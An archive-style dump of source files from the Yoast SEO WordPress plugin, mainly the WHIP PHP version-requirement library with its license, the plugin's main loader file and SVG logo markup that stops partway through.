wordpress-seo/vendor/yoast/whip/src/Interfaces/VersionDetector.php000064400000000655147510273070021501 0ustar00<?php

namespace Yoast\WHIPv2\Interfaces;

/**
 * An interface that represents a version detector and message.
 */
interface VersionDetector {

	/**
	 * Detects the version of the installed software.
	 *
	 * @return string
	 */
	public function detect();

	/**
	 * Returns the message that should be shown if a version is not deemed appropriate by the implementation.
	 *
	 * @return string
	 */
	public function getMessage();
}
wordpress-seo/vendor/yoast/whip/src/Interfaces/Requirement.php000064400000001011147510273070020645 0ustar00<?php

namespace Yoast\WHIPv2\Interfaces;

/**
 * Interface Requirement.
 */
interface Requirement {

	/**
	 * Retrieves the component name defined for the requirement.
	 *
	 * @return string The component name.
	 */
	public function component();

	/**
	 * Gets the components version defined for the requirement.
	 *
	 * @return string
	 */
	public function version();

	/**
	 * Gets the operator to use when comparing version numbers.
	 *
	 * @return string The comparison operator.
	 */
	public function operator();
}
wordpress-seo/vendor/yoast/whip/src/Interfaces/Message.php000064400000000303147510273070017734 0ustar00<?php

namespace Yoast\WHIPv2\Interfaces;

/**
 * Interface Message.
 */
interface Message {

	/**
	 * Retrieves the message body.
	 *
	 * @return string Message.
	 */
	public function body();
}
wordpress-seo/vendor/yoast/whip/src/Configs/default.php000064400000000146147510273070017306 0ustar00<?php
/**
 * WHIP libary file.
 *
 * @package Yoast\WHIP
 */

return array(
	'php' => PHP_VERSION,
);
wordpress-seo/vendor/yoast/whip/src/Configs/version.php000064400000000116147510273070017344 0ustar00<?php
/**
 * WHIP libary file.
 *
 * @package Yoast\WHIP
 */

return '1.0.1';
wordpress-seo/vendor/yoast/whip/src/RequirementsChecker.php000064400000011266147510273070020247 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\Interfaces\Requirement;
use Yoast\WHIPv2\Messages\InvalidVersionRequirementMessage;
use Yoast\WHIPv2\Messages\UpgradePhpMessage;

/**
 * Main controller class to require a certain version of software.
 */
class RequirementsChecker {

	/**
	 * Requirements the environment should comply with.
	 *
	 * @var array<Requirement>
	 */
	private $requirements;

	/**
	 * The configuration to check.
	 *
	 * @var Configuration
	 */
	private $configuration;

	/**
	 * Message Manager.
	 *
	 * @var MessagesManager
	 */
	private $messageManager;

	/**
	 * The text domain to use for translations.
	 *
	 * @var string
	 */
	private $textdomain;

	/**
	 * RequirementsChecker constructor.
	 *
	 * @param array<string, string> $configuration The configuration to check.
	 * @param string                $textdomain    The text domain to use for translations.
	 *
	 * @throws InvalidType When the $configuration parameter is not of the expected type.
	 */
	public function __construct( $configuration = array(), $textdomain = 'default' ) {
		$this->requirements   = array();
		$this->configuration  = new Configuration( $configuration );
		$this->messageManager = new MessagesManager();
		$this->textdomain     = $textdomain;
	}

	/**
	 * Adds a requirement to the list of requirements if it doesn't already exist.
	 *
	 * @param Requirement $requirement The requirement to add.
	 *
	 * @return void
	 */
	public function addRequirement( Requirement $requirement ) {
		// Only allow unique entries to ensure we're not checking specific combinations multiple times.
		if ( $this->requirementExistsForComponent( $requirement->component() ) ) {
			return;
		}

		$this->requirements[] = $requirement;
	}

	/**
	 * Determines whether or not there are requirements available.
	 *
	 * @return bool Whether or not there are requirements.
	 */
	public function hasRequirements() {
		return $this->totalRequirements() > 0;
	}

	/**
	 * Gets the total amount of requirements.
	 *
	 * @return int The total amount of requirements.
	 */
	public function totalRequirements() {
		return \count( $this->requirements );
	}

	/**
	 * Determines whether or not a requirement exists for a particular component.
	 *
	 * @param string $component The component to check for.
	 *
	 * @return bool Whether or not the component has a requirement defined.
	 */
	public function requirementExistsForComponent( $component ) {
		foreach ( $this->requirements as $requirement ) {
			if ( $requirement->component() === $component ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Determines whether a requirement has been fulfilled.
	 *
	 * @param Requirement $requirement The requirement to check.
	 *
	 * @return bool Whether or not the requirement is fulfilled.
	 */
	private function requirementIsFulfilled( Requirement $requirement ) {
		$availableVersion = $this->configuration->configuredVersion( $requirement );
		$requiredVersion  = $requirement->version();

		if ( \in_array( $requirement->operator(), array( '=', '==', '===' ), true ) ) {
			return \version_compare( $availableVersion, $requiredVersion, '>=' );
		}

		return \version_compare( $availableVersion, $requiredVersion, $requirement->operator() );
	}

	/**
	 * Checks if all requirements are fulfilled and adds a message to the message manager if necessary.
	 *
	 * @return void
	 */
	public function check() {
		foreach ( $this->requirements as $requirement ) {
			// Match against config.
			$requirementFulfilled = $this->requirementIsFulfilled( $requirement );

			if ( $requirementFulfilled ) {
				continue;
			}

			$this->addMissingRequirementMessage( $requirement );
		}
	}

	/**
	 * Adds a message to the message manager for requirements that cannot be fulfilled.
	 *
	 * @param Requirement $requirement The requirement that cannot be fulfilled.
	 *
	 * @return void
	 */
	private function addMissingRequirementMessage( Requirement $requirement ) {
		switch ( $requirement->component() ) {
			case 'php':
				$this->messageManager->addMessage( new UpgradePhpMessage( $this->textdomain ) );
				break;
			default:
				$this->messageManager->addMessage( new InvalidVersionRequirementMessage( $requirement, $this->configuration->configuredVersion( $requirement ) ) );
				break;
		}
	}

	/**
	 * Determines whether or not there are messages available.
	 *
	 * @return bool Whether or not there are messages to display.
	 */
	public function hasMessages() {
		return $this->messageManager->hasMessages();
	}

	/**
	 * Gets the most recent message from the message manager.
	 *
	 * @return Message The latest message.
	 */
	public function getMostRecentMessage() {
		return $this->messageManager->getLatestMessage();
	}
}
wordpress-seo/vendor/yoast/whip/src/Facades/wordpress.php000064400000003231147510273070017646 0ustar00<?php
/**
 * WHIP libary file.
 *
 * @package Yoast\WHIP
 */

use Yoast\WHIPv2\MessageDismisser;
use Yoast\WHIPv2\Presenters\WPMessagePresenter;
use Yoast\WHIPv2\RequirementsChecker;
use Yoast\WHIPv2\VersionRequirement;
use Yoast\WHIPv2\WPDismissOption;

if ( ! function_exists( 'whip_wp_check_versions' ) ) {
	/**
	 * Facade to quickly check if version requirements are met.
	 *
	 * @param array<string> $requirements The requirements to check.
	 *
	 * @return void
	 */
	function whip_wp_check_versions( $requirements ) {
		// Only show for admin users.
		if ( ! is_array( $requirements ) ) {
			return;
		}

		$config  = include __DIR__ . '/../Configs/default.php';
		$checker = new RequirementsChecker( $config );

		foreach ( $requirements as $component => $versionComparison ) {
			$checker->addRequirement( VersionRequirement::fromCompareString( $component, $versionComparison ) );
		}

		$checker->check();

		if ( ! $checker->hasMessages() ) {
			return;
		}

		$dismissThreshold = ( WEEK_IN_SECONDS * 4 );
		$dismissMessage   = __( 'Remind me again in 4 weeks.', 'default' );

		$dismisser = new MessageDismisser( time(), $dismissThreshold, new WPDismissOption() );

		$presenter = new WPMessagePresenter( $checker->getMostRecentMessage(), $dismisser, $dismissMessage );

		// Prevent duplicate notices across multiple implementing plugins.
		if ( ! has_action( 'whip_register_hooks' ) ) {
			add_action( 'whip_register_hooks', array( $presenter, 'registerHooks' ) );
		}

		/**
		 * Fires during hooks registration for the message presenter.
		 *
		 * @param WPMessagePresenter $presenter Message presenter instance.
		 */
		do_action( 'whip_register_hooks', $presenter );
	}
}
wordpress-seo/vendor/yoast/whip/src/MessagesManager.php000064400000003652147510273070017341 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\Messages\NullMessage;

/**
 * Manages messages using a global to prevent duplicate messages.
 */
class MessagesManager {

	/**
	 * MessagesManager constructor.
	 */
	public function __construct() {
		if ( ! \array_key_exists( 'whip_messages', $GLOBALS ) ) {
			$GLOBALS['whip_messages'] = array();
		}
	}

	/**
	 * Adds a message to the Messages Manager.
	 *
	 * @param Message $message The message to add.
	 *
	 * @return void
	 */
	public function addMessage( Message $message ) {
		$whipVersion = require __DIR__ . '/Configs/version.php';

		$GLOBALS['whip_messages'][ $whipVersion ] = $message;
	}

	/**
	 * Determines whether or not there are messages available.
	 *
	 * @return bool Whether or not there are messages available.
	 */
	public function hasMessages() {
		return isset( $GLOBALS['whip_messages'] ) && \count( $GLOBALS['whip_messages'] ) > 0;
	}

	/**
	 * Lists the messages that are currently available.
	 *
	 * @return array<Message> The messages that are currently set.
	 */
	public function listMessages() {
		return $GLOBALS['whip_messages'];
	}

	/**
	 * Deletes all messages.
	 *
	 * @return void
	 */
	public function deleteMessages() {
		unset( $GLOBALS['whip_messages'] );
	}

	/**
	 * Gets the latest message.
	 *
	 * @return Message The message. Returns a NullMessage if none is found.
	 */
	public function getLatestMessage() {
		if ( ! $this->hasMessages() ) {
			return new NullMessage();
		}

		$messages = $this->sortByVersion( $this->listMessages() );

		$this->deleteMessages();

		return \array_pop( $messages );
	}

	/**
	 * Sorts the list of messages based on the version number.
	 *
	 * @param array<Message> $messages The list of messages to sort.
	 *
	 * @return array<Message> The sorted list of messages.
	 */
	private function sortByVersion( array $messages ) {
		\uksort( $messages, 'version_compare' );

		return $messages;
	}
}
wordpress-seo/vendor/yoast/whip/src/Host.php000064400000005254147510273070015214 0ustar00<?php

namespace Yoast\WHIPv2;

/**
 * Represents a host.
 */
class Host {

	/**
	 * Key to an environment variable which should be set to the name of the host.
	 *
	 * @var string
	 */
	const HOST_NAME_KEY = 'WHIP_NAME_OF_HOST';

	/**
	 * Filter name for the filter which allows for pointing to the WP hosting page instead of the Yoast version.
	 *
	 * @var string
	 */
	const HOSTING_PAGE_FILTER_KEY = 'whip_hosting_page_url_wordpress';

	/**
	 * Retrieves the name of the host if set.
	 *
	 * @return string The name of the host.
	 */
	public static function name() {
		$name = (string) \getenv( self::HOST_NAME_KEY );

		return self::filterName( $name );
	}

	/**
	 * Filters the name if we are in a WordPress context.
	 * In a non-WordPress content this function just returns the passed name.
	 *
	 * @param string $name The current name of the host.
	 *
	 * @return string The filtered name of the host.
	 */
	private static function filterName( $name ) {
		if ( \function_exists( 'apply_filters' ) ) {
			return (string) \apply_filters( \strtolower( self::HOST_NAME_KEY ), $name );
		}

		return $name;
	}

	/**
	 * Retrieves the message from the host if set.
	 *
	 * @param string $messageKey The key to use as the environment variable.
	 *
	 * @return string The message as set by the host.
	 */
	public static function message( $messageKey ) {
		$message = (string) \getenv( $messageKey );

		return self::filterMessage( $messageKey, $message );
	}

	/**
	 * Filters the message if we are in a WordPress context.
	 * In a non-WordPress content this function just returns the passed message.
	 *
	 * @param string $messageKey The key used for the environment variable.
	 * @param string $message    The current message from the host.
	 *
	 * @return string
	 */
	private static function filterMessage( $messageKey, $message ) {
		if ( \function_exists( 'apply_filters' ) ) {
			return (string) \apply_filters( \strtolower( $messageKey ), $message );
		}

		return $message;
	}

	/**
	 * Returns the URL for the hosting page.
	 *
	 * @return string The URL to the hosting overview page.
	 */
	public static function hostingPageUrl() {
		$url = 'https://yoa.st/w3';

		return self::filterHostingPageUrl( $url );
	}

	/**
	 * Filters the hosting page url if we are in a WordPress context.
	 * In a non-WordPress context this function just returns a link to the Yoast hosting page.
	 *
	 * @param string $url The previous URL.
	 *
	 * @return string The new URL to the hosting overview page.
	 */
	private static function filterHostingPageUrl( $url ) {
		if ( \function_exists( 'apply_filters' ) && \apply_filters( self::HOSTING_PAGE_FILTER_KEY, false ) ) {
			return 'https://wordpress.org/hosting/';
		}

		return $url;
	}
}
wordpress-seo/vendor/yoast/whip/src/WPMessageDismissListener.php000064400000003406147510273070021171 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Interfaces\Listener;

/**
 * Listener for dismissing a message.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Sniff does not count acronyms correctly.
 */
class WPMessageDismissListener implements Listener {

	/**
	 * The name of the dismiss action expected to be passed via $_GET.
	 *
	 * @var string
	 */
	const ACTION_NAME = 'whip_dismiss';

	/**
	 * The object for dismissing a message.
	 *
	 * @var MessageDismisser
	 */
	protected $dismisser;

	/**
	 * Sets the dismisser attribute.
	 *
	 * @param MessageDismisser $dismisser The object for dismissing a message.
	 */
	public function __construct( MessageDismisser $dismisser ) {
		$this->dismisser = $dismisser;
	}

	/**
	 * Listens to a GET request to fetch the required attributes.
	 *
	 * @return void
	 */
	public function listen() {

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is verified in the dismisser.
		$action = ( isset( $_GET['action'] ) && \is_string( $_GET['action'] ) ) ? \sanitize_text_field( \wp_unslash( $_GET['action'] ) ) : null;
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is verified in the dismisser.
		$nonce = ( isset( $_GET['nonce'] ) && \is_string( $_GET['nonce'] ) ) ? \sanitize_text_field( \wp_unslash( $_GET['nonce'] ) ) : '';

		if ( $action === self::ACTION_NAME && $this->dismisser->verifyNonce( $nonce, self::ACTION_NAME ) ) {
			$this->dismisser->dismiss();
		}
	}

	/**
	 * Creates an url for dismissing the notice.
	 *
	 * @return string The url for dismissing the message.
	 */
	public function getDismissURL() {
		return \sprintf(
			\admin_url( 'index.php?action=%1$s&nonce=%2$s' ),
			self::ACTION_NAME,
			\wp_create_nonce( self::ACTION_NAME )
		);
	}
}
wordpress-seo/vendor/yoast/whip/src/VersionRequirement.php000064400000007411147510273070020142 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Exceptions\EmptyProperty;
use Yoast\WHIPv2\Exceptions\InvalidOperatorType;
use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Exceptions\InvalidVersionComparisonString;
use Yoast\WHIPv2\Interfaces\Requirement;

/**
 * A value object containing a version requirement for a component version.
 */
class VersionRequirement implements Requirement {

	/**
	 * The component name.
	 *
	 * @var string
	 */
	private $component;

	/**
	 * The component version.
	 *
	 * @var string
	 */
	private $version;

	/**
	 * The operator to use when comparing version.
	 *
	 * @var string
	 */
	private $operator;

	/**
	 * Requirement constructor.
	 *
	 * @param string $component The component name.
	 * @param string $version   The component version.
	 * @param string $operator  The operator to use when comparing version.
	 */
	public function __construct( $component, $version, $operator = '=' ) {
		$this->validateParameters( $component, $version, $operator );

		$this->component = $component;
		$this->version   = $version;
		$this->operator  = $operator;
	}

	/**
	 * Retrieves the component name defined for the requirement.
	 *
	 * @return string The component name.
	 */
	public function component() {
		return $this->component;
	}

	/**
	 * Gets the components version defined for the requirement.
	 *
	 * @return string
	 */
	public function version() {
		return $this->version;
	}

	/**
	 * Gets the operator to use when comparing version numbers.
	 *
	 * @return string The comparison operator.
	 */
	public function operator() {
		return $this->operator;
	}

	/**
	 * Creates a new version requirement from a comparison string.
	 *
	 * @param string $component        The component for this version requirement.
	 * @param string $comparisonString The comparison string for this version requirement.
	 *
	 * @return VersionRequirement The parsed version requirement.
	 *
	 * @throws InvalidVersionComparisonString When an invalid version comparison string is passed.
	 */
	public static function fromCompareString( $component, $comparisonString ) {

		$matcher = '`
			(
				>=?     # Matches >= and >.
				|
				<=?     # Matches <= and <.
			)
			([^>=<\s]+) # Matches anything except >, <, =, and whitespace.
		`x';

		if ( ! \preg_match( $matcher, $comparisonString, $match ) ) {
			throw new InvalidVersionComparisonString( $comparisonString );
		}

		$version  = $match[2];
		$operator = $match[1];

		return new VersionRequirement( $component, $version, $operator );
	}

	/**
	 * Validates the parameters passed to the requirement.
	 *
	 * @param string $component The component name.
	 * @param string $version   The component version.
	 * @param string $operator  The operator to use when comparing version.
	 *
	 * @return void
	 *
	 * @throws EmptyProperty       When any of the parameters is empty.
	 * @throws InvalidOperatorType When the $operator parameter is invalid.
	 * @throws InvalidType         When any of the parameters is not of the expected type.
	 */
	private function validateParameters( $component, $version, $operator ) {
		if ( empty( $component ) ) {
			throw new EmptyProperty( 'Component' );
		}

		if ( ! \is_string( $component ) ) {
			throw new InvalidType( 'Component', $component, 'string' );
		}

		if ( empty( $version ) ) {
			throw new EmptyProperty( 'Version' );
		}

		if ( ! \is_string( $version ) ) {
			throw new InvalidType( 'Version', $version, 'string' );
		}

		if ( empty( $operator ) ) {
			throw new EmptyProperty( 'Operator' );
		}

		if ( ! \is_string( $operator ) ) {
			throw new InvalidType( 'Operator', $operator, 'string' );
		}

		$validOperators = array( '=', '==', '===', '<', '>', '<=', '>=' );
		if ( ! \in_array( $operator, $validOperators, true ) ) {
			throw new InvalidOperatorType( $operator, $validOperators );
		}
	}
}
wordpress-seo/vendor/yoast/whip/src/Configuration.php000064400000003117147510273070017102 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Interfaces\Requirement;

/**
 * Class Configuration.
 */
class Configuration {

	/**
	 * The configuration to use.
	 *
	 * @var array<string>
	 */
	private $configuration;

	/**
	 * Configuration constructor.
	 *
	 * @param array<string, string> $configuration The configuration to use.
	 *
	 * @throws InvalidType When the $configuration parameter is not of the expected type.
	 */
	public function __construct( $configuration = array() ) {
		if ( ! \is_array( $configuration ) ) {
			throw new InvalidType( 'Configuration', $configuration, 'array' );
		}

		$this->configuration = $configuration;
	}

	/**
	 * Retrieves the configured version of a particular requirement.
	 *
	 * @param Requirement $requirement The requirement to check.
	 *
	 * @return string|int The version of the passed requirement that was detected as a string.
	 *                    If the requirement does not exist, this returns int -1.
	 */
	public function configuredVersion( Requirement $requirement ) {
		if ( ! $this->hasRequirementConfigured( $requirement ) ) {
			return -1;
		}

		return $this->configuration[ $requirement->component() ];
	}

	/**
	 * Determines whether the passed requirement is present in the configuration.
	 *
	 * @param Requirement $requirement The requirement to check.
	 *
	 * @return bool Whether or not the requirement is present in the configuration.
	 */
	public function hasRequirementConfigured( Requirement $requirement ) {
		return \array_key_exists( $requirement->component(), $this->configuration );
	}
}
wordpress-seo/vendor/yoast/whip/src/MessageDismisser.php000064400000003240147510273070017537 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Interfaces\DismissStorage;

/**
 * A class to dismiss messages.
 */
class MessageDismisser {

	/**
	 * Storage object to manage the dismissal state.
	 *
	 * @var DismissStorage
	 */
	protected $storage;

	/**
	 * The current time.
	 *
	 * @var int
	 */
	protected $currentTime;

	/**
	 * The number of seconds the message will be dismissed.
	 *
	 * @var int
	 */
	protected $threshold;

	/**
	 * MessageDismisser constructor.
	 *
	 * @param int            $currentTime The current time.
	 * @param int            $threshold   The number of seconds the message will be dismissed.
	 * @param DismissStorage $storage     Storage object to manage the dismissal state.
	 */
	public function __construct( $currentTime, $threshold, DismissStorage $storage ) {
		$this->currentTime = $currentTime;
		$this->threshold   = $threshold;
		$this->storage     = $storage;
	}

	/**
	 * Saves the version number to the storage to indicate the message as being dismissed.
	 *
	 * @return void
	 */
	public function dismiss() {
		$this->storage->set( $this->currentTime );
	}

	/**
	 * Checks if the current time is lower than the stored time extended by the threshold.
	 *
	 * @return bool True when current time is lower than stored value + threshold.
	 */
	public function isDismissed() {
		return ( $this->currentTime <= ( $this->storage->get() + $this->threshold ) );
	}

	/**
	 * Checks the nonce.
	 *
	 * @param string $nonce  The nonce to check.
	 * @param string $action The action to check.
	 *
	 * @return bool True when the nonce is valid.
	 */
	public function verifyNonce( $nonce, $action ) {
		return (bool) \wp_verify_nonce( $nonce, $action );
	}
}
wordpress-seo/vendor/yoast/whip/LICENSE000064400000002046147510273070014000 0ustar00MIT License

Copyright (c) 2017 Yoast

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
wordpress-seo/vendor/autoload.php000064400000000262147510273070013204 0ustar00<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit5ee83be5cc8ef65e2e67c43a537d8167::getLoader();
wordpress-seo/index.php000064400000000046147510273070011206 0ustar00<?php
/**
 * Nothing to see here.
 */
wordpress-seo/wp-seo.php000064400000003174147510273070011316 0ustar00<?php
/**
 * Yoast SEO Plugin.
 *
 * @package   WPSEO\Main
 * @copyright Copyright (C) 2008-2024, Yoast BV - support@yoast.com
 * @license   http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3 or higher
 *
 * @wordpress-plugin
 * Plugin Name: Yoast SEO
 * Version:     24.2
 * Plugin URI:  https://yoa.st/1uj
 * Description: The first true all-in-one SEO solution for WordPress, including on-page content analysis, XML sitemaps and much more.
 * Author:      Team Yoast
 * Author URI:  https://yoa.st/1uk
 * Text Domain: wordpress-seo
 * Domain Path: /languages/
 * License:     GPL v3
 * Requires at least: 6.5
 * Requires PHP: 7.2.5
 *
 * WC requires at least: 7.1
 * WC tested up to: 9.4
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

if ( ! function_exists( 'add_filter' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

if ( ! defined( 'WPSEO_FILE' ) ) {
	define( 'WPSEO_FILE', __FILE__ );
}

// Load the Yoast SEO plugin.
require_once dirname( WPSEO_FILE ) . '/wp-seo-main.php';
wordpress-seo/packages/js/images/logo-g2-white.svg000064400000002146147510273070016135 0ustar00<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" fill="none" height="30" viewBox="0 0 30 30" width="30"><g fill="#fff"><path d="m26.0539 8.87178h-4.4729c.1264-.70757.556-1.09926 1.4278-1.54149l.8213-.41697c1.4783-.75811 2.2617-1.60467 2.2617-3.00717 0-.88446-.3412-1.56677-1.0108-2.07217-.6571-.50541-1.4783-.74548-2.4007-.74548-.7455 0-1.4151.18953-2.0469.58122-.6065.37906-1.074.85919-1.352 1.47832l1.2888 1.30142c.5054-1.01081 1.2256-1.51622 2.1859-1.51622.8087 0 1.3141.41696 1.3141.99818 0 .49277-.2401.8971-1.1751 1.3646l-.5307.2527c-1.1498.58122-1.9458 1.23825-2.4007 1.99636-.4548.74548-.6949 1.70575-.6949 2.85552v.3159h6.7725v-1.84472zm-.6065 3.99272h-7.4169l-3.7021 6.4187h7.4169l3.7021 6.4187 3.7021-6.4187z"></path><path d="m14.9727 23.554c-4.7129 0-8.55402-3.8411-8.55402-8.5541 0-4.7129 3.84112-8.554 8.55402-8.554l2.9314-6.128069c-.9603-.189528-1.9459-.2906093-2.9314-.2906093-8.26341 0-14.9727 6.7092883-14.9727 14.9726783 0 8.2761 6.70929 14.9727 14.9727 14.9727 3.2978 0 6.3429-1.0613 8.8194-2.8682l-3.2473-5.6226c-1.4909 1.2888-3.4368 2.0722-5.5721 2.0722z"></path></g></svg> wordpress-seo/packages/js/images/wp-recipe-maker-logo.svg000064400000024241147510273070017477 0ustar00<svg width="185" role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1488.21 189.15"><rect width="23.81" height="26.01" x="113.83" y="17.03" fill="#3a5160" rx="4" ry="4" transform="rotate(-10 125.733 30.062)"/><rect width="23.81" height="26.01" x="119.56" y="49.62" fill="#3a5160" rx="4" ry="4" transform="rotate(-10 131.463 62.64)"/><path fill="#010101" d="M1120.63 107.35c-2.45 8.59-4.88 17.07-7.33 25.62-3.61-.29-7.03-.55-10.43-.83-1.86-.15-3.71-.42-5.57-.45-1.3-.02-1.94-.36-2.25-1.74-3.51-15.67-7.15-31.32-10.65-47-2.81-12.58-5.48-25.18-8.27-37.77-.26-1.17-.89-2.26-1.69-3.33.53 34.76 1.77 69.45 3.62 104.35-8.55-.78-16.89-1.54-25.37-2.31-1.24-42.47-3.33-84.87 1.77-127.36 3.42.26 6.78.51 10.13.77 8.19.65 16.38 1.33 24.58 1.92 1.11.08 1.54.43 1.82 1.46 4.04 14.57 7.19 29.33 9.99 44.17 1.23 6.51 2.43 13.02 3.64 19.53.03.18.1.35.27.93 7.73-24.53 13.76-49.07 18.93-73.99 2.23.17 4.42.31 6.61.5 8.44.73 16.87 1.47 25.31 2.21 1.05.09 2.11.21 3.17.25.97.03 1.37.34 1.39 1.41.21 8.53.65 17.05.74 25.58.26 23.65.55 47.3.48 70.95-.03 11.06-.84 22.13-1.31 33.19-.03.73-.14 1.45-.22 2.28-8.85-.83-17.5-1.63-26.35-2.46 3.22-33.66 3.51-67.33 4.22-100.99-.27-.06-.54-.13-.81-.19-.52 1.33-1.18 2.62-1.53 3.99-1.39 5.46-2.64 10.95-4.02 16.42-3.6 14.26-7.23 28.51-10.87 42.88ZM265.8 87.29c-2.62 11.14-5.09 22.19-7.86 33.17-1.9 7.51-4.21 14.92-6.35 22.37-.08.28-.24.53-.4.89-3.54-.27-7.05-.53-10.56-.8-2.11-.16-4.22-.4-6.33-.49-1.11-.05-1.61-.3-1.85-1.54-2.74-14.44-5.65-28.85-8.35-43.29-2.31-12.35-4.52-24.72-6.57-37.11-1.61-9.76-2.95-19.56-4.35-29.35-.85-5.96-1.59-11.93-2.36-17.9-.06-.48 0-.98 0-1.63 8.26.69 16.46 1.38 24.63 2.06 3.21 29.25 6.41 58.4 9.61 87.54.24.02.47.03.71.05 3.2-12.67 5.75-25.49 8.2-38.32 2.46-12.87 4.49-25.83 6.73-38.86 6.2.55 12.56 1.12 19.02 1.7 2.28 25.19 5.32 50.17 8.09 75.17.25 0 .5.02.76.03 7.1-29.92 13.76-59.93 17.67-90.72 8.43.7 16.82 1.39 25.32 2.09-.87 4.78-1.66 9.33-2.54 13.86-4.56 23.44-9.8 46.74-16.01 69.81-3.96 14.69-8.3 29.28-12.41 43.93-.38 1.34-.9 1.62-2.31 1.47-5.21-.56-10.44-.94-15.66-1.32-.85-.06-1.19-.3-1.4-1.15-3.78-14.91-7.62-29.81-11.4-44.72-.93-3.65-1.66-7.36-2.49-11.04-.06-.28-.23-.54-.44-1.02-.39 1.82-.74 3.41-1.11 5.13ZM583.7 120.05c4.39 6.04 8.71 11.99 13.09 18.03-6.24 4.56-12.38 9.05-18.32 13.39-14.44-19.46-28.78-38.78-43.12-58.11-.16.08-.32.15-.48.23-.58 17.99-1.16 35.99-1.74 54.13-8.88-.97-17.46-1.9-25.78-2.81 0-3.14-.13-6.08.02-9 1.29-25.57 1.83-51.15 1.74-76.75-.05-13.67.09-27.34.09-41.01 0-1.21.45-1.72 1.52-2.18 10.29-4.43 21.01-7.33 32.16-8.52 7.54-.81 15.09-1.09 22.51 1.03 14.48 4.15 23.19 13.68 26.52 28.08 2.34 10.1 1.28 19.78-4.3 28.79-3.46 5.59-7.73 10.49-12.74 14.71-4.37 3.68-8.98 7.08-13.47 10.6l22.3 29.38m-15.29-80.78c-2.59-6.62-7.63-9.99-15.03-10.21-5.83-.18-11.4 1.07-16.93 2.68-1.11.32-1.49.79-1.49 1.95-.02 14.86-.1 29.71-.15 44.57 0 .47.05.94.09 1.68 2.3-1.2 4.41-2.23 6.46-3.37 9.2-5.15 17.52-11.34 23.96-19.78 4-5.25 5.34-10.95 3.1-17.51ZM378.34 8.76c9.83-1.09 19.28-.47 28.16 3.98 13.54 6.79 21.67 17.63 24.2 32.39 2.72 15.86-2.85 28.92-14.5 39.69-8.92 8.25-19.54 13.61-31 17.5-1.8.61-3.61 1.25-5.46 1.69-1.04.25-1.22.73-1.2 1.66.16 9.93.28 19.86.41 29.78.05 3.69.1 7.38.14 11.08 0 .34-.05.67-.08 1.15-8.68-.82-17.28-1.63-25.92-2.44-.1-2.25-.23-4.39-.29-6.52-.63-24.35-.69-48.69-.14-73.04.28-12.47.64-24.94.99-37.4.12-4.34.34-8.67.49-13.01.03-.78.23-1.22 1.08-1.51 7.48-2.51 15.12-4.24 23.12-5m11.61 68.82c1.39-.99 2.84-1.91 4.15-2.99 9.26-7.68 13.24-18.64 9.7-30.14-1.47-4.78-4.18-8.72-8.41-11.53-4.72-3.12-9.85-2.69-15.01-1.49-.33.08-.66.89-.68 1.38-.18 4.03-.31 8.07-.4 12.1-.29 12.36-.56 24.72-.83 37.08 0 .24.04.49.07.83 4.01-1.24 7.74-2.94 11.42-5.25ZM893.36 78.78c.89 5.83.84 11.57.28 17.28-.97 9.85-3.39 19.35-7.54 28.38-2.81 6.12-6.3 11.76-11.28 16.45-4.45 4.2-9.67 5.49-15.58 4.64-2.72-.39-5.42-.91-8.27-1.4.43 14.95.87 29.85 1.3 45.02-7.34-.73-14.77-1.46-22.39-2.21-1.11-46.35-2-92.64 1.68-139.13 6.73.77 13.3 1.53 20.11 2.31-.2 5.13-.4 10.22-.61 15.52 1.57-1.65 2.9-3.25 4.43-4.63 4.64-4.2 10.02-6.6 16.45-6.23 6.49.37 11.49 3.39 15.26 8.48 3.18 4.29 4.97 9.17 5.9 14.38.06.34.16.68.26 1.15m-33.25-3.25c-3.68 3.79-5.8 8.45-7.53 13.3-.66 1.85-1.25 3.82-1.3 5.75-.24 9.12-.29 18.24-.4 